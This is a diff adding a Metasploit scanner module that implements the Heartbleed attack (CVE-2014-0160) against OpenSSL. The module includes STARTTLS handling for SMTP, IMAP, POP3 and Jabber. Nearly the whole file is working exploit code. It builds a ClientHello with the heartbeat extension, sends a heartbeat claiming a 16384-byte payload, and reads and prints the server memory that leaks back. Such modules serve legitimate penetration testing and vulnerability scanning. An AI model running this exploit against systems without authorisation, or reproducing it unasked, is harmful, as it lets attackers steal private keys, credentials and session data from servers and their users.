|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + include Msf::Auxiliary::Scanner |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + CIPHER_SUITES = [ |
| 15 | + 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA |
| 16 | + 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA |
| 17 | + 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA |
| 18 | + 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA |
| 19 | + 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA |
| 20 | + 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA |
| 21 | + 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA |
| 22 | + 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA |
| 23 | + 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA |
| 24 | + 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA |
| 25 | + 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA |
| 26 | + 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA |
| 27 | + 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA |
| 28 | + 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA |
| 29 | + 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA |
| 30 | + 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA |
| 31 | + 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA |
| 32 | + 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA |
| 33 | + 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA |
| 34 | + 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA |
| 35 | + 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA |
| 36 | + 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA |
| 37 | + 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA |
| 38 | + 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA |
| 39 | + 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA |
| 40 | + 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA |
| 41 | + 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA |
| 42 | + 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA |
| 43 | + 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA |
| 44 | + 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA |
| 45 | + 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA |
| 46 | + 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA |
| 47 | + 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA |
| 48 | + 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA |
| 49 | + 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA |
| 50 | + 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA |
| 51 | + 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA |
| 52 | + 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA |
| 53 | + 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA |
| 54 | + 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA |
| 55 | + 0x0005, # TLS_RSA_WITH_RC4_128_SHA |
| 56 | + 0x0004, # TLS_RSA_WITH_RC4_128_MD5 |
| 57 | + 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA |
| 58 | + 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA |
| 59 | + 0x0009, # TLS_RSA_WITH_DES_CBC_SHA |
| 60 | + 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA |
| 61 | + 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA |
| 62 | + 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA |
| 63 | + 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 |
| 64 | + 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 |
| 65 | + 0x00ff # Unknown |
| 66 | + ] |
| 67 | + |
| 68 | + HANDSHAKE_RECORD_TYPE = 0x16 |
| 69 | + HEARTBEAT_RECORD_TYPE = 0x18 |
| 70 | + ALERT_RECORD_TYPE = 0x15 |
| 71 | + TLS_VERSION = { |
| 72 | + '1.0' => 0x0301, |
| 73 | + '1.1' => 0x0302, |
| 74 | + '1.2' => 0x0303 |
| 75 | + } |
| 76 | + |
| 77 | + TTLS_CALLBACKS = { |
| 78 | + 'SMTP' => :tls_smtp, |
| 79 | + 'IMAP' => :tls_imap, |
| 80 | + 'JABBER' => :tls_jabber, |
| 81 | + 'POP3' => :tls_pop3 |
| 82 | + } |
| 83 | + |
| 84 | + def initialize |
| 85 | + super( |
| 86 | + 'Name' => 'OpenSSL Heartbeat Information Leak', |
| 87 | + 'Description' => %q{ |
| 88 | + This module implements the OpenSSL Heartbleed attack. The problem |
| 89 | + exists in the handling of heartbeat requests, where a fake length can |
| 90 | + be used to leak memory data in the response. Services that support |
| 91 | + STARTTLS may also be vulnerable. |
| 92 | + }, |
| 93 | + 'Author' => [ |
| 94 | + 'Neel Mehta', # Vulnerability discovery |
| 95 | + 'Riku', # Vulnerability discovery |
| 96 | + 'Antti', # Vulnerability discovery |
| 97 | + 'Matti', # Vulnerability discovery |
| 98 | + 'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it. |
| 99 | + 'FiloSottile', # PoC site and tool |
| 100 | + 'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module |
| 101 | + 'juan vazquez' # Msf module |
| 102 | + ], |
| 103 | + 'References' => |
| 104 | + [ |
| 105 | + ['CVE', '2014-0160'], |
| 106 | + ['US-CERT-VU', '720951'], |
| 107 | + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'], |
| 108 | + ['URL', 'http://heartbleed.com/'], |
| 109 | + ['URL', 'https://github.com/FiloSottile/Heartbleed'], |
| 110 | + ['URL', 'https://gist.github.com/takeshixx/10107280'], |
| 111 | + ['URL', 'http://filippo.io/Heartbleed/'] |
| 112 | + ], |
| 113 | + 'DisclosureDate' => 'Apr 7 2014', |
| 114 | + 'License' => MSF_LICENSE |
| 115 | + ) |
| 116 | + |
| 117 | + register_options( |
| 118 | + [ |
| 119 | + Opt::RPORT(443), |
| 120 | + OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]), |
| 121 | + OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']]) |
| 122 | + ], self.class) |
| 123 | + end |
| 124 | + |
| 125 | + def peer |
| 126 | + "#{rhost}:#{rport}" |
| 127 | + end |
| 128 | + |
| 129 | + def tls_smtp |
| 130 | + # https://tools.ietf.org/html/rfc3207 |
| 131 | + sock.get_once |
| 132 | + sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n") |
| 133 | + res = sock.get_once |
| 134 | + |
| 135 | + unless res && res =~ /STARTTLS/ |
| 136 | + return nil |
| 137 | + end |
| 138 | + sock.put("STARTTLS\n") |
| 139 | + sock.get_once |
| 140 | + end |
| 141 | + |
| 142 | + def tls_imap |
| 143 | + # http://tools.ietf.org/html/rfc2595 |
| 144 | + sock.get_once |
| 145 | + sock.put("a001 CAPABILITY\r\n") |
| 146 | + res = sock.get_once |
| 147 | + unless res && res =~ /STARTTLS/i |
| 148 | + return nil |
| 149 | + end |
| 150 | + sock.put("a002 STARTTLS\r\n") |
| 151 | + sock.get_once |
| 152 | + end |
| 153 | + |
| 154 | + def tls_pop3 |
| 155 | + # http://tools.ietf.org/html/rfc2595 |
| 156 | + sock.get_once |
| 157 | + sock.put("CAPA\r\n") |
| 158 | + res = sock.get_once |
| 159 | + if res.nil? || res =~ /^-/ |
| 160 | + return nil |
| 161 | + end |
| 162 | + sock.put("STLS\r\n") |
| 163 | + res = sock.get_once |
| 164 | + if res.nil? || res =~ /^-/ |
| 165 | + return nil |
| 166 | + end |
| 167 | + end |
| 168 | + |
| 169 | + def tls_jabber |
| 170 | + # http://xmpp.org/extensions/xep-0035.html |
| 171 | + msg = "<?xml version='1.0' ?>" |
| 172 | + msg << "<stream:stream xmlns='jabber:client' " |
| 173 | + msg << "xmlns:stream='http://etherx.jabber.org/streams' " |
| 174 | + msg << "xmlns:tls='http://www.ietf.org/rfc/rfc2595.txt' " |
| 175 | + msg << "to='#{rhost}'>" |
| 176 | + sock.put(msg) |
| 177 | + res = sock.get_once |
| 178 | + return nil if res.nil? # SSL not supported |
| 179 | + return nil if res =~ /stream:error/ || res !~ /starttls/i |
| 180 | + msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" |
| 181 | + sock.put(msg) |
| 182 | + sock.get_once |
| 183 | + end |
| 184 | + |
| 185 | + def run_host(ip) |
| 186 | + connect |
| 187 | + |
| 188 | + unless datastore['STARTTLS'] == 'None' |
| 189 | + vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}") |
| 190 | + res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']]) |
| 191 | + if res.nil? |
| 192 | + vprint_error("#{peer} - STARTTLS failed...") |
| 193 | + return |
| 194 | + end |
| 195 | + end |
| 196 | + |
| 197 | + vprint_status("#{peer} - Sending Client Hello...") |
| 198 | + sock.put(client_hello) |
| 199 | + |
| 200 | + server_hello = sock.get |
| 201 | + unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE |
| 202 | + vprint_error("#{peer} - Server Hello Not Found") |
| 203 | + return |
| 204 | + end |
| 205 | + |
| 206 | + vprint_status("#{peer} - Sending Heartbeat...") |
| 207 | + heartbeat_length = 16384 |
| 208 | + sock.put(heartbeat(heartbeat_length)) |
| 209 | + hdr = sock.get_once(5) |
| 210 | + if hdr.blank? |
| 211 | + vprint_error("#{peer} - No Heartbeat response...") |
| 212 | + return |
| 213 | + end |
| 214 | + |
| 215 | + unpacked = hdr.unpack('Cnn') |
| 216 | + type = unpacked[0] |
| 217 | + version = unpacked[1] # must match the type from client_hello |
| 218 | + len = unpacked[2] |
| 219 | + |
| 220 | + # try to get the TLS error |
| 221 | + if type == ALERT_RECORD_TYPE |
| 222 | + res = sock.get_once(len) |
| 223 | + alert_unp = res.unpack('CC') |
| 224 | + alert_level = alert_unp[0] |
| 225 | + alert_desc = alert_unp[1] |
| 226 | + msg = "Unknown error" |
| 227 | + # http://tools.ietf.org/html/rfc5246#section-7.2 |
| 228 | + case alert_desc |
| 229 | + when 0x46 |
| 230 | + msg = "Protocol error. Looks like the chosen protocol is not supported." |
| 231 | + end |
| 232 | + print_error("#{peer} - #{msg}") |
| 233 | + disconnect |
| 234 | + return |
| 235 | + end |
| 236 | + |
| 237 | + unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']] |
| 238 | + vprint_error("#{peer} - Unexpected Heartbeat response") |
| 239 | + disconnect |
| 240 | + return |
| 241 | + end |
| 242 | + |
| 243 | + vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...") |
| 244 | + heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length... |
| 245 | + if heartbeat_data |
| 246 | + print_good("#{peer} - Heartbeat response with leak") |
| 247 | + report_vuln({ |
| 248 | + :host => rhost, |
| 249 | + :port => rport, |
| 250 | + :name => self.name, |
| 251 | + :refs => self.references, |
| 252 | + :info => "Module #{self.fullname} successfully leaked info" |
| 253 | + }) |
| 254 | + vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") |
| 255 | + else |
| 256 | + vprint_error("#{peer} - Looks like there isn't leaked information...") |
| 257 | + end |
| 258 | + end |
| 259 | + |
| 260 | + def heartbeat(length) |
| 261 | + payload = "\x01" # Heartbeat Message Type: Request (1) |
| 262 | + payload << [length].pack("n") # Payload Length: 16384 |
| 263 | + |
| 264 | + ssl_record(HEARTBEAT_RECORD_TYPE, payload) |
| 265 | + end |
| 266 | + |
| 267 | + def client_hello |
| 268 | + # Use current day for TLS time |
| 269 | + time_temp = Time.now |
| 270 | + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i |
| 271 | + |
| 272 | + hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS |
| 273 | + hello_data << [time_epoch].pack("N") # Time in epoch format |
| 274 | + hello_data << Rex::Text.rand_text(28) # Random |
| 275 | + hello_data << "\x00" # Session ID length |
| 276 | + hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) |
| 277 | + hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites |
| 278 | + hello_data << "\x01" # Compression methods length (1) |
| 279 | + hello_data << "\x00" # Compression methods: null |
| 280 | + |
| 281 | + hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) |
| 282 | + hello_data_extensions << "\x00\x01" # Extension length |
| 283 | + hello_data_extensions << "\x01" # Extension data |
| 284 | + |
| 285 | + hello_data << [hello_data_extensions.length].pack("n") |
| 286 | + hello_data << hello_data_extensions |
| 287 | + |
| 288 | + data = "\x01\x00" # Handshake Type: Client Hello (1) |
| 289 | + data << [hello_data.length].pack("n") # Length |
| 290 | + data << hello_data |
| 291 | + |
| 292 | + ssl_record(HANDSHAKE_RECORD_TYPE, data) |
| 293 | + end |
| 294 | + |
| 295 | + def ssl_record(type, data) |
| 296 | + record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn') |
| 297 | + record << data |
| 298 | + end |
| 299 | +end |
0 commit comments